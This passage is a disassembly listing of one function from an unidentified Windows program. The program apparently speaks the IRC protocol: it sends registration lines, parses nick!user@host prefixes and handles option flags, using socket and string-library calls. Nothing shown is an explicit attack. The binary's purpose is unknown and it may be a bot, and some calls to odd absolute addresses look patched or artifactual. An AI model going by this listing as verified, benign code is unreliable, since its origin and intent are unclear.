mov [esp+24h+arg_1E], ax
call sub_4017EE
push eax
call sub_40188E
add esp, 4
mov [esp+24h+arg_20], eax
call edi
mov edx, [ebp+18h]
lea ecx, [esp+24h+arg_1C]
push 10h
push ecx
push edx
mov [ebp+24h], eax
call near ptr 71AB406Ah
nop
cmp eax, 0FFFFFFFFh
jnz short loc_410288
push 2710h
nop
call near ptr 2830000h
mov eax, [ebp+1Ch]
mov [ebp+15h], bl
inc eax
mov [ebp+1Ch], eax
jmp loc_4113F7
; ---------------------------------------------------------------------------
loc_410288: ; CODE XREF: sub_410030+23Cj
mov byte ptr [ebp+15h], 1
mov [ebp+16h], bl
call edi
mov [ebp+24h], eax
xor eax, eax
mov [esp+30h+arg_0], eax
lea ecx, [esp+30h+arg_20]
mov [esp+30h+arg_4], eax
lea edx, [esp+30h+arg_0]
mov [esp+30h+arg_8], eax
push ecx
mov [esp+34h+arg_C], eax
mov eax, [ebp+18h]
push edx
push eax
mov [esp+3Ch+arg_20], 10h
nop
call near ptr 71AB951Eh
mov ecx, [esp+3Ch+var_4+3]
mov edx, [esp+3Ch+var_4+2]
mov eax, [esp+3Ch+var_4+1]
and ecx, 0FFh
push ecx
mov ecx, [esp+40h+var_4]
and edx, 0FFh
and eax, 0FFh
push edx
and ecx, 0FFh
push eax
push ecx
lea edx, [esp+4Ch+arg_408]
push offset aD_D_D_D ; "%d.%d.%d.%d"
push edx
call sub_5F74D1
nop
add esp, 18h
lea eax, [esp+3Ch+arg_408]
lea ecx, [ebp+3Dh]
push eax
call sub_4015E1
lea ecx, [esp+3Ch+arg_408]
push ecx
call near ptr 71AB2BF4h
nop
push offset byte_448F40
mov ecx, offset byte_44936B
mov [ebp+52h], eax
call sub_4012EE
test eax, eax
jz short loc_410357
mov ecx, offset byte_44936B
call sub_4017EE
mov edx, dword_4490EC
push eax
push edx
push offset aSS_0 ; "%s %s\r\n"
push ebp
call sub_401E24
add esp, 10h
loc_410357: ; CODE XREF: sub_410030+305j
mov ecx, offset byte_4E8E55
call sub_4017EE
push eax
mov ecx, offset byte_4E8E55
call sub_4017EE
push eax
mov eax, dword_4490F4
push eax
mov ecx, offset byte_4E8E55
call sub_4017EE
mov ecx, dword_4490F0
push eax
push ecx
push offset aSSSS00S ; "%s %s\r\n%s %s 0 0 :%s\r\n"
push ebp
call sub_401E24
add esp, 1Ch
jmp loc_4113F7
; ---------------------------------------------------------------------------
loc_410398: ; CODE XREF: sub_410030+1DBj
mov ecx, 800h
xor eax, eax
lea edi, [esp+20h+arg_464]
push ebx
rep stosd
lea eax, [esp+24h+arg_464]
push 2000h
push eax
push edx
call sub_401280
add esp, 10h
cmp al, bl
jz loc_4113F0
call near ptr 27E0C08h
nop
lea ecx, [esp+20h+var_8]
mov [ebp+24h], eax
call sub_401CD0
lea ecx, [esp+20h+arg_464]
push ecx
lea ecx, [esp+24h+var_8]
call sub_401A9B
push offset asc_444600 ; " "
lea edx, [esp+24h+arg_364]
push 1
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
mov ecx, dword_4490F8
mov byte ptr [esp+20h+arg_246C], 1
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
jnz short loc_410470
push offset asc_444600 ; " "
lea edx, [esp+24h+arg_3F4]
push 4
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
push offset dword_4493B4
mov ecx, eax
mov byte ptr [esp+24h+arg_246C], 2
call sub_401B86
test eax, eax
lea ecx, [esp+20h+arg_3F4]
mov byte ptr [esp+20h+arg_246C], 1
setz [esp+20h+var_D]
call sub_401226
mov al, [esp+20h+var_D]
mov [esp+20h+var_D], 1
cmp al, bl
jnz short loc_410474
loc_410470: ; CODE XREF: sub_410030+3EAj
mov [esp+20h+var_D], bl
loc_410474: ; CODE XREF: sub_410030+43Ej
lea ecx, [esp+20h+arg_364]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
cmp [esp+20h+var_D], bl
jz short loc_410496
mov byte ptr [ebp+16h], 1
jmp loc_4113F7
; ---------------------------------------------------------------------------
loc_410496: ; CODE XREF: sub_410030+45Bj
push offset asc_444600 ; " "
lea eax, [esp+24h+arg_F4]
push ebx
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
mov ecx, dword_4490CC
mov byte ptr [esp+20h+arg_246C], 3
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
lea ecx, [esp+20h+arg_F4]
mov byte ptr [esp+20h+arg_246C], bl
setz [esp+20h+var_D]
call sub_401226
mov al, [esp+20h+var_D]
push offset asc_444600 ; " "
cmp al, bl
push 1
jz short loc_410534
lea edx, [esp+28h+arg_2A4]
lea ecx, [esp+28h+var_8]
push edx
call sub_4016B8
mov ecx, eax
mov byte ptr [esp+20h+arg_246C], 4
call sub_4017EE
push eax
mov eax, dword_4490E8
push eax
push offset aSS_0 ; "%s %s\r\n"
push ebp
call sub_401E24
add esp, 10h
mov byte ptr [esp+20h+arg_246C], bl
lea ecx, [esp+20h+arg_2A4]
jmp loc_410662
; ---------------------------------------------------------------------------
loc_410534: ; CODE XREF: sub_410030+4BAj
lea edx, [esp+28h+arg_124]
lea ecx, [esp+28h+var_8]
push edx
call sub_4016B8
mov ecx, dword_4490D0
mov byte ptr [esp+20h+arg_246C], 5
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
lea ecx, [esp+20h+arg_124]
mov byte ptr [esp+20h+arg_246C], bl
setz [esp+20h+var_D]
call sub_401226
mov al, [esp+20h+var_D]
push offset asc_444600 ; " "
cmp al, bl
jz loc_4106A0
lea edx, [esp+24h+arg_40C]
push 12h
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
push offset byte_448F40
mov ecx, eax
mov byte ptr [esp+24h+arg_246C], 6
call sub_4012EE
lea ecx, [esp+20h+arg_40C]
mov esi, eax
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
cmp esi, ebx
jz loc_4113F7
push offset asc_444600 ; " "
lea eax, [esp+24h+arg_154]
push 11h
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
mov ecx, dword_4490E8
mov byte ptr [esp+20h+arg_246C], 7
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
lea ecx, [esp+20h+arg_154]
mov byte ptr [esp+20h+arg_246C], bl
setz [esp+20h+var_D]
call sub_401226
cmp [esp+20h+var_D], bl
jz short loc_410667
push offset asc_444600 ; " "
lea edx, [esp+24h+arg_2D4]
push 12h
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
mov ecx, eax
mov byte ptr [esp+20h+arg_246C], 8
call sub_4017EE
push eax
mov eax, dword_4490E8
push eax
push offset aSS_0 ; "%s %s\r\n"
push ebp
call sub_401E24
add esp, 10h
mov byte ptr [esp+20h+arg_246C], bl
lea ecx, [esp+20h+arg_2D4]
loc_410662: ; CODE XREF: sub_410030+4FFj
call sub_401226
loc_410667: ; CODE XREF: sub_410030+5E6j
cmp [ebp+16h], bl
jnz loc_4113F7
mov ecx, offset byte_4493FD
call sub_4017EE
push eax
mov ecx, offset dword_4493B4
call sub_4017EE
mov ecx, dword_4490D4
push eax
push ecx
push offset aSSS_0 ; "%s %s %s\r\n"
push ebp
call sub_401E24
add esp, 14h
jmp loc_4113F7
; ---------------------------------------------------------------------------
loc_4106A0: ; CODE XREF: sub_410030+550j
lea edx, [esp+24h+arg_394]
push 1
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
mov ecx, dword_449108
mov byte ptr [esp+20h+arg_246C], 9
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
jz short loc_410722
push offset asc_444600 ; " "
lea edx, [esp+24h+arg_184]
push 1
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
mov ecx, dword_44910C
mov byte ptr [esp+20h+arg_246C], 0Ah
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
lea ecx, [esp+20h+arg_184]
mov byte ptr [esp+20h+arg_246C], 9
setz [esp+20h+var_D]
call sub_401226
mov al, [esp+20h+var_D]
mov [esp+20h+var_D], bl
cmp al, bl
jz short loc_410727
loc_410722: ; CODE XREF: sub_410030+69Bj
mov [esp+20h+var_D], 1
loc_410727: ; CODE XREF: sub_410030+6F0j
lea ecx, [esp+20h+arg_394]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
cmp [esp+20h+var_D], bl
jz short loc_410794
cmp [ebp+16h], bl
jnz short loc_410770
mov ecx, offset byte_4493FD
call sub_4017EE
push eax
mov ecx, offset dword_4493B4
call sub_4017EE
mov edx, dword_4490D4
push eax
push edx
push offset aSSS_0 ; "%s %s %s\r\n"
push ebp
call sub_401E24
add esp, 14h
loc_410770: ; CODE XREF: sub_410030+713j
mov ecx, offset byte_4E8E55
call sub_4017EE
push eax
mov eax, dword_4490DC
push eax
push offset aSS_0 ; "%s %s\r\n"
push ebp
call sub_401E24
add esp, 10h
jmp loc_4113F7
; ---------------------------------------------------------------------------
loc_410794: ; CODE XREF: sub_410030+70Ej
push offset asc_444600 ; " "
lea ecx, [esp+24h+arg_1B4]
push 1
push ecx
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
mov edx, dword_4490E4
mov ecx, eax
push edx
mov byte ptr [esp+24h+arg_246C], 0Bh
call sub_4012EE
test eax, eax
lea ecx, [esp+20h+arg_1B4]
mov byte ptr [esp+20h+arg_246C], bl
setz [esp+20h+var_D]
call sub_401226
mov al, [esp+20h+var_D]
push offset asc_444600 ; " "
cmp al, bl
jz short loc_410845
lea eax, [esp+24h+arg_94]
push 3
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
push offset a@ ; "@"
lea ecx, [esp+24h+arg_94]
mov byte ptr [esp+24h+arg_246C], 0Ch
call sub_4014DD
push eax
call near ptr 77C47C60h
nop
add esp, 8
cmp eax, ebx
jz short loc_41082D
inc eax
lea ecx, [ebp+28h]
push eax
call sub_4015E1
loc_41082D: ; CODE XREF: sub_410030+7F1j
lea ecx, [esp+20h+arg_94]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
jmp loc_4113F7
; ---------------------------------------------------------------------------
loc_410845: ; CODE XREF: sub_410030+7B7j
lea ecx, [esp+24h+arg_304]
push 1
push ecx
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
mov edx, dword_4490E0
mov ecx, eax
push edx
mov byte ptr [esp+24h+arg_246C], 0Dh
call sub_4012EE
test eax, eax
jnz short loc_410880
mov al, byte_449814
mov [esp+20h+var_D], 1
cmp al, bl
jnz short loc_410884
loc_410880: ; CODE XREF: sub_410030+840j
mov [esp+20h+var_D], bl
loc_410884: ; CODE XREF: sub_410030+84Ej
lea ecx, [esp+20h+arg_304]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
cmp [esp+20h+var_D], bl
jz loc_410B91
push offset asc_444C74 ; ":"
lea eax, [esp+24h+arg_4C]
push 1
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
push 96h
mov byte ptr [esp+24h+arg_246C], 0Eh
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+20h+var_C], eax
cmp eax, ebx
mov byte ptr [esp+20h+arg_246C], 0Fh
jz short loc_4108E2
mov ecx, eax
call sub_402072
loc_4108E2: ; CODE XREF: sub_410030+8A9j
push 0ADh
mov byte ptr [esp+24h+arg_246C], 0Eh
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+20h+var_C], eax
cmp eax, ebx
mov byte ptr [esp+20h+arg_246C], 10h
jz short loc_41090E
mov ecx, eax
call sub_4010BE
loc_41090E: ; CODE XREF: sub_410030+8D5j
push offset asc_4445EC ; "|"
lea ecx, [esp+24h+arg_4C]
mov byte ptr [esp+24h+arg_246C], 0Eh
call sub_401AAF
push offset asc_4445EC ; "|"
lea ecx, [esp+24h+arg_7C]
push ebx
push ecx
lea ecx, [esp+2Ch+arg_4C]
xor edi, edi
call sub_4016B8
push offset byte_448F40
mov ecx, eax
mov byte ptr [esp+24h+arg_246C], 11h
call sub_4012EE
lea ecx, [esp+20h+arg_7C]
mov esi, eax
mov byte ptr [esp+20h+arg_246C], 0Eh
call sub_401226
cmp esi, ebx
jz loc_410B7C
loc_41096F: ; CODE XREF: sub_410030+B46j
push 96h
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+20h+var_C], eax
cmp eax, ebx
mov byte ptr [esp+20h+arg_246C], 12h
jz short loc_410997
mov ecx, eax
call sub_402072
mov esi, eax
jmp short loc_410999
; ---------------------------------------------------------------------------
loc_410997: ; CODE XREF: sub_410030+95Aj
xor esi, esi
loc_410999: ; CODE XREF: sub_410030+965j
push 0ADh
mov byte ptr [esp+24h+arg_246C], 0Eh
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+20h+var_C], eax
cmp eax, ebx
mov byte ptr [esp+20h+arg_246C], 13h
jz short loc_4109CB
mov ecx, eax
call sub_4010BE
mov [esp+20h+var_C], eax
jmp short loc_4109CF
; ---------------------------------------------------------------------------
loc_4109CB: ; CODE XREF: sub_410030+98Cj
mov [esp+20h+var_C], ebx
loc_4109CF: ; CODE XREF: sub_410030+999j
push offset aS_2 ; " -s"
lea ecx, [esp+24h+var_8]
mov byte ptr [esp+24h+arg_246C], 0Eh
call sub_4013ED
test eax, eax
jz short loc_4109F2
mov byte ptr [esi+93h], 1
jmp short loc_4109F8
; ---------------------------------------------------------------------------
loc_4109F2: ; CODE XREF: sub_410030+9B7j
mov [esi+93h], bl
loc_4109F8: ; CODE XREF: sub_410030+9C0j
push offset aN_0 ; " -n"
lea ecx, [esp+24h+var_8]
call sub_4013ED
test eax, eax
jz short loc_410A13
mov byte ptr [esi+94h], 1
jmp short loc_410A19
; ---------------------------------------------------------------------------
loc_410A13: ; CODE XREF: sub_410030+9D8j
mov [esi+94h], bl
loc_410A19: ; CODE XREF: sub_410030+9E1j
push offset aO ; " -o"
lea ecx, [esp+24h+var_8]
call sub_4013ED
test eax, eax
jz short loc_410A34
mov byte ptr [esi+95h], 1
jmp short loc_410A3A
; ---------------------------------------------------------------------------
loc_410A34: ; CODE XREF: sub_410030+9F9j
mov [esi+95h], bl
loc_410A3A: ; CODE XREF: sub_410030+A02j
push offset asc_444600 ; " "
lea edx, [esp+24h+arg_1E4]
push 3
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
push eax
lea ecx, [esi+15h]
mov byte ptr [esp+24h+arg_246C], 14h
call sub_401FDC
lea ecx, [esp+20h+arg_1E4]
mov byte ptr [esp+20h+arg_246C], 0Eh
call sub_401226
push offset byte_448F40
lea ecx, [esi+54h]
call sub_4015E1
push offset byte_448F40
lea ecx, [esi+3Fh]
call sub_4015E1
push offset asc_444600 ; " "
lea eax, [esp+24h+arg_AC]
push 3
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
push eax
lea ecx, [esi+2Ah]
mov byte ptr [esp+24h+arg_246C], 15h
call sub_401FDC
lea ecx, [esp+20h+arg_AC]
mov byte ptr [esp+20h+arg_246C], 0Eh
call sub_401226
push offset asc_4445EC ; "|"
lea ecx, [esp+24h+arg_214]
push edi
push ecx
lea ecx, [esp+2Ch+arg_4C]
call sub_4016B8
mov ecx, eax
mov byte ptr [esp+20h+arg_246C], 16h
call sub_4017EE
push eax
mov ecx, esi
call sub_4015E1
lea ecx, [esp+20h+arg_214]
mov byte ptr [esp+20h+arg_246C], 0Eh
call sub_401226
mov ecx, [esp+20h+var_C]
push 1
push esi
call sub_401DFC
cmp esi, ebx
jz short loc_410B29
push 1
mov ecx, esi
call sub_4019E2
loc_410B29: ; CODE XREF: sub_410030+AEEj
mov ecx, [esp+20h+var_C]
call sub_4013DE
inc edi
push offset asc_4445EC ; "|"
lea edx, [esp+24h+arg_7C]
push edi
push edx
lea ecx, [esp+2Ch+arg_4C]
call sub_4016B8
push offset byte_448F40
mov ecx, eax
mov byte ptr [esp+24h+arg_246C], 11h
call sub_4012EE
lea ecx, [esp+20h+arg_7C]
mov esi, eax
mov byte ptr [esp+20h+arg_246C], 0Eh
call sub_401226
cmp esi, ebx
jnz loc_41096F
loc_410B7C: ; CODE XREF: sub_410030+939j
lea ecx, [esp+20h+arg_4C]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
jmp loc_4113F7
; ---------------------------------------------------------------------------
loc_410B91: ; CODE XREF: sub_410030+86Bj
push offset asc_444600 ; " "
lea eax, [esp+24h+arg_334]
push 1
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
mov ecx, dword_4490D8
mov byte ptr [esp+20h+arg_246C], 17h
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
lea ecx, [esp+20h+arg_334]
mov byte ptr [esp+20h+arg_246C], bl
setz [esp+20h+var_D]
call sub_401226
cmp [esp+20h+var_D], bl
jz loc_410EAB
push 96h
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+20h+var_C], eax
cmp eax, ebx
mov byte ptr [esp+20h+arg_246C], 18h
jz short loc_410C0B
mov ecx, eax
call sub_402072
mov esi, eax
jmp short loc_410C0D
; ---------------------------------------------------------------------------
loc_410C0B: ; CODE XREF: sub_410030+BCEj
xor esi, esi
loc_410C0D: ; CODE XREF: sub_410030+BD9j
push 0ADh
mov byte ptr [esp+24h+arg_246C], bl
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+20h+var_C], eax
cmp eax, ebx
mov byte ptr [esp+20h+arg_246C], 19h
jz short loc_410C3C
mov ecx, eax
call sub_4010BE
mov edi, eax
jmp short loc_410C3E
; ---------------------------------------------------------------------------
loc_410C3C: ; CODE XREF: sub_410030+BFFj
xor edi, edi
loc_410C3E: ; CODE XREF: sub_410030+C0Aj
push offset aO ; " -o"
lea ecx, [esp+24h+var_8]
mov byte ptr [esp+24h+arg_246C], bl
call sub_4013ED
test eax, eax
jz short loc_410C60
mov byte ptr [esi+95h], 1
jmp short loc_410C66
; ---------------------------------------------------------------------------
loc_410C60: ; CODE XREF: sub_410030+C25j
mov [esi+95h], bl
loc_410C66: ; CODE XREF: sub_410030+C2Ej
push offset aS_2 ; " -s"
lea ecx, [esp+24h+var_8]
call sub_4013ED
test eax, eax
jz short loc_410C81
mov byte ptr [esi+93h], 1
jmp short loc_410C87
; ---------------------------------------------------------------------------
loc_410C81: ; CODE XREF: sub_410030+C46j
mov [esi+93h], bl
loc_410C87: ; CODE XREF: sub_410030+C4Fj
push offset aN_0 ; " -n"
lea ecx, [esp+24h+var_8]
call sub_4013ED
test eax, eax
jz short loc_410CA2
mov byte ptr [esi+94h], 1
jmp short loc_410CA8
; ---------------------------------------------------------------------------
loc_410CA2: ; CODE XREF: sub_410030+C67j
mov [esi+94h], bl
loc_410CA8: ; CODE XREF: sub_410030+C70j
push offset asc_444C74 ; ":"
lea edx, [esp+24h+arg_274]
push ebx
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
push offset asc_444600 ; " "
lea ecx, [esp+24h+arg_3C4]
push ebx
push ecx
mov ecx, eax
mov byte ptr [esp+2Ch+arg_246C], 1Ah
call sub_4016B8
push offset asc_444C68 ; "!"
lea edx, [esp+24h+arg_244]
push ebx
push edx
mov ecx, eax
mov byte ptr [esp+2Ch+arg_246C], 1Bh
call sub_4016B8
push eax
lea ecx, [esi+15h]
mov byte ptr [esp+24h+arg_246C], 1Ch
call sub_401FDC
lea ecx, [esp+20h+arg_244]
mov byte ptr [esp+20h+arg_246C], 1Bh
call sub_401226
lea ecx, [esp+20h+arg_3C4]
mov byte ptr [esp+20h+arg_246C], 1Ah
call sub_401226
lea ecx, [esp+20h+arg_274]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
push offset asc_444C68 ; "!"
lea eax, [esp+24h+arg_DC]
push 1
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
push offset a@ ; "@"
lea ecx, [esp+24h+arg_C4]
push ebx
push ecx
mov ecx, eax
mov byte ptr [esp+2Ch+arg_246C], 1Dh
call sub_4016B8
push eax
lea ecx, [esi+54h]
mov byte ptr [esp+24h+arg_246C], 1Eh
call sub_401FDC
lea ecx, [esp+20h+arg_C4]
mov byte ptr [esp+20h+arg_246C], 1Dh
call sub_401226
lea ecx, [esp+20h+arg_DC]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
push offset a@ ; "@"
lea edx, [esp+24h+arg_13C]
push 1
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
push offset asc_444600 ; " "
lea ecx, [esp+24h+arg_10C]
push ebx
push ecx
mov ecx, eax
mov byte ptr [esp+2Ch+arg_246C], 1Fh
call sub_4016B8
push eax
lea ecx, [esi+3Fh]
mov byte ptr [esp+24h+arg_246C], 20h
call sub_401FDC
mov byte ptr [esp+20h+arg_246C], 1Fh
lea ecx, [esp+20h+arg_10C]
call sub_401226
lea ecx, [esp+20h+arg_13C]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
push offset asc_444600 ; " "
lea edx, [esp+24h+arg_16C]
push 2
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
push eax
lea ecx, [esi+2Ah]
mov byte ptr [esp+24h+arg_246C], 21h
call sub_401FDC
lea ecx, [esp+20h+arg_16C]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
push offset asc_444C64 ; " :"
lea ecx, [esp+24h+var_8]
call sub_4014DD
push eax
nop
call near ptr 77C47C60h
add esp, 8
cmp eax, ebx
jz short loc_410E7D
add eax, 2
push eax
jmp short loc_410E82
; ---------------------------------------------------------------------------
loc_410E7D: ; CODE XREF: sub_410030+E45j
push offset byte_448F40
loc_410E82: ; CODE XREF: sub_410030+E4Bj
mov ecx, esi
call sub_4015E1
push ebx
push esi
mov ecx, edi
call sub_401DFC
cmp esi, ebx
jz short loc_410E9F
push 1
mov ecx, esi
call sub_4019E2
loc_410E9F: ; CODE XREF: sub_410030+E64j
mov ecx, edi
call sub_4013DE
jmp loc_4113F7
; ---------------------------------------------------------------------------
loc_410EAB: ; CODE XREF: sub_410030+BADj
push offset asc_444600 ; " "
lea eax, [esp+24h+arg_19C]
push 1
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
mov ecx, dword_4490FC
mov byte ptr [esp+20h+arg_246C], 22h
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
lea ecx, [esp+20h+arg_19C]
mov byte ptr [esp+20h+arg_246C], bl
setz [esp+20h+var_D]
call sub_401226
cmp [esp+20h+var_D], bl
jz loc_411080
sub esp, 18h
lea ecx, [esp+38h+var_8]
mov edx, esp
mov [esp+38h+var_C], esp
push offset asc_444600 ; " "
push 3
push edx
call sub_4016B8
mov ecx, offset word_44AC6E
call sub_401CE4
cmp eax, ebx
jz short loc_410F72
sub esp, 18h
lea ecx, [esp+38h+var_8]
mov eax, esp
mov [esp+38h+var_C], esp
push offset asc_444600 ; " "
push 3
push eax
call sub_4016B8
sub esp, 18h
mov byte ptr [esp+50h+arg_246C], 23h
mov ecx, esp
mov [esp+50h+arg_C], esp
push offset asc_444600 ; " "
push 3
push ecx
lea ecx, [esp+5Ch+var_8]
call sub_4016B8
mov ecx, offset word_44AC6E
mov byte ptr [esp+50h+arg_246C], bl
call sub_40212B
loc_410F72: ; CODE XREF: sub_410030+EF3j
push offset asc_444600 ; " "
lea edx, [esp+24h+arg_1CC]
push 3
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
push offset byte_4E8E55
mov ecx, eax
mov byte ptr [esp+24h+arg_246C], 24h
call sub_401B86
test eax, eax
lea ecx, [esp+20h+arg_1CC]
mov byte ptr [esp+20h+arg_246C], bl
setz [esp+20h+var_D]
call sub_401226
cmp [esp+20h+var_D], bl
jz loc_4113F7
push offset asc_444C74 ; ":"
lea eax, [esp+24h+arg_22C]
push ebx
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
push offset asc_444C68 ; "!"
lea ecx, [esp+24h+arg_1FC]
push ebx
push ecx
mov ecx, eax
mov byte ptr [esp+2Ch+arg_246C], 25h
call sub_4016B8
mov ecx, eax
mov byte ptr [esp+20h+arg_246C], 26h
call sub_4017EE
push eax
lea ecx, [esp+24h+arg_25C]
call sub_401870
lea ecx, [esp+20h+arg_1FC]
mov byte ptr [esp+20h+arg_246C], 29h
call sub_401226
lea ecx, [esp+20h+arg_22C]
mov byte ptr [esp+20h+arg_246C], 28h
call sub_401226
mov ecx, offset byte_4493FD
mov [ebp+16h], bl
call sub_4017EE
push eax
mov ecx, offset dword_4493B4
call sub_4017EE
mov edx, dword_4490D4
push eax
push edx
push offset aSSS_0 ; "%s %s %s\r\n"
push ebp
call sub_401E24
add esp, 14h
lea ecx, [esp+20h+arg_25C]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
jmp loc_4113F7
; ---------------------------------------------------------------------------
loc_411080: ; CODE XREF: sub_410030+EC7j
push offset asc_444600 ; " "
lea eax, [esp+24h+arg_28C]
push 1
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
mov ecx, dword_4490F0
mov byte ptr [esp+20h+arg_246C], 2Ah
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
lea ecx, [esp+20h+arg_28C]
mov byte ptr [esp+20h+arg_246C], bl
setz [esp+20h+var_D]
call sub_401226
cmp [esp+20h+var_D], bl
jz loc_411238
push offset asc_444C74 ; ":"
lea edx, [esp+24h+arg_2EC]
push 1
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
push offset asc_444C68 ; "!"
lea ecx, [esp+24h+arg_2BC]
push ebx
push ecx
mov ecx, eax
mov byte ptr [esp+2Ch+arg_246C], 2Bh
call sub_4016B8
mov ecx, eax
mov byte ptr [esp+20h+arg_246C], 2Ch
call sub_4017EE
push eax
lea ecx, [esp+24h+arg_34]
call sub_401870
lea ecx, [esp+20h+arg_2BC]
mov byte ptr [esp+20h+arg_246C], 2Fh
call sub_401226
lea ecx, [esp+20h+arg_2EC]
mov byte ptr [esp+20h+arg_246C], 2Eh
call sub_401226
push offset asc_444C64 ; " :"
lea ecx, [esp+24h+var_8]
call sub_4014DD
mov esi, dword_511B04
push eax
call esi ; strstr
add esp, 8
test eax, eax
jz loc_411223
push offset asc_444C64 ; " :"
lea ecx, [esp+24h+var_8]
call sub_4014DD
push eax
call esi ; strstr
add esp, 8
lea ecx, [esp+20h+arg_64]
push eax
call sub_401870
push offset byte_448F40
lea ecx, [esp+24h+arg_34]
mov byte ptr [esp+24h+arg_246C], 30h
call sub_4012EE
test eax, eax
jz short loc_41120F
push offset byte_448F40
lea ecx, [esp+24h+arg_64]
call sub_4012EE
test eax, eax
jz short loc_41120F
sub esp, 18h
lea edx, [esp+38h+arg_34]
mov ecx, esp
mov [esp+38h+arg_C], esp
push edx
call sub_4014D3
mov ecx, offset word_44AC6E
call sub_401CE4
cmp eax, ebx
jz short loc_4111EB
lea ecx, [esp+20h+arg_64]
push ecx
lea ecx, [eax+19h]
call sub_401FDC
loc_4111EB: ; CODE XREF: sub_410030+11A9j
push offset byte_4E8E55
lea ecx, [esp+24h+arg_34]
call sub_401B86
test eax, eax
jnz short loc_41120F
lea edx, [esp+20h+arg_64]
mov ecx, offset byte_4E8E55
push edx
call sub_401FDC
loc_41120F: ; CODE XREF: sub_410030+1173j
; sub_410030+1188j ...
lea ecx, [esp+20h+arg_64]
mov byte ptr [esp+20h+arg_246C], 2Eh
call sub_401226
loc_411223: ; CODE XREF: sub_410030+1134j
lea ecx, [esp+20h+arg_34]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
jmp loc_4113F7
; ---------------------------------------------------------------------------
loc_411238: ; CODE XREF: sub_410030+109Cj
push offset asc_444600 ; " "
lea eax, [esp+24h+arg_34C]
push 1
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
mov ecx, dword_449100
mov byte ptr [esp+20h+arg_246C], 31h
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
jz short loc_4112BF
push offset asc_444600 ; " "
lea edx, [esp+24h+arg_31C]
push 1
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
mov ecx, dword_449110
mov byte ptr [esp+20h+arg_246C], 32h
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
lea ecx, [esp+20h+arg_31C]
mov byte ptr [esp+20h+arg_246C], 31h
setz [esp+20h+var_D]
call sub_401226
mov al, [esp+20h+var_D]
mov [esp+20h+var_D], bl
cmp al, bl
jz short loc_4112C4
loc_4112BF: ; CODE XREF: sub_410030+1238j
mov [esp+20h+var_D], 1
loc_4112C4: ; CODE XREF: sub_410030+128Dj
lea ecx, [esp+20h+arg_34C]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
cmp [esp+20h+var_D], bl
jz loc_4113F7
push offset asc_444C74 ; ":"
lea edx, [esp+24h+arg_37C]
push 1
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
sub esp, 18h
mov byte ptr [esp+38h+arg_246C], 33h
mov ecx, esp
mov [esp+38h+arg_C], esp
push offset asc_444C68 ; "!"
push ebx
push ecx
mov ecx, eax
call sub_4016B8
mov ecx, offset word_44AC6E
call sub_401CE4
lea ecx, [esp+20h+arg_37C]
mov esi, eax
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
cmp esi, ebx
jz loc_4113F7
push offset asc_444C74 ; ":"
lea edx, [esp+24h+arg_3DC]
push 1
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
sub esp, 18h
mov byte ptr [esp+38h+arg_246C], 34h
mov ecx, esp
mov [esp+38h+arg_C], esp
push offset asc_444C68 ; "!"
push ebx
push ecx
mov ecx, eax
call sub_4016B8
push offset asc_444C74 ; ":"
lea edx, [esp+3Ch+arg_3AC]
push 1
push edx
lea ecx, [esp+44h+var_8]
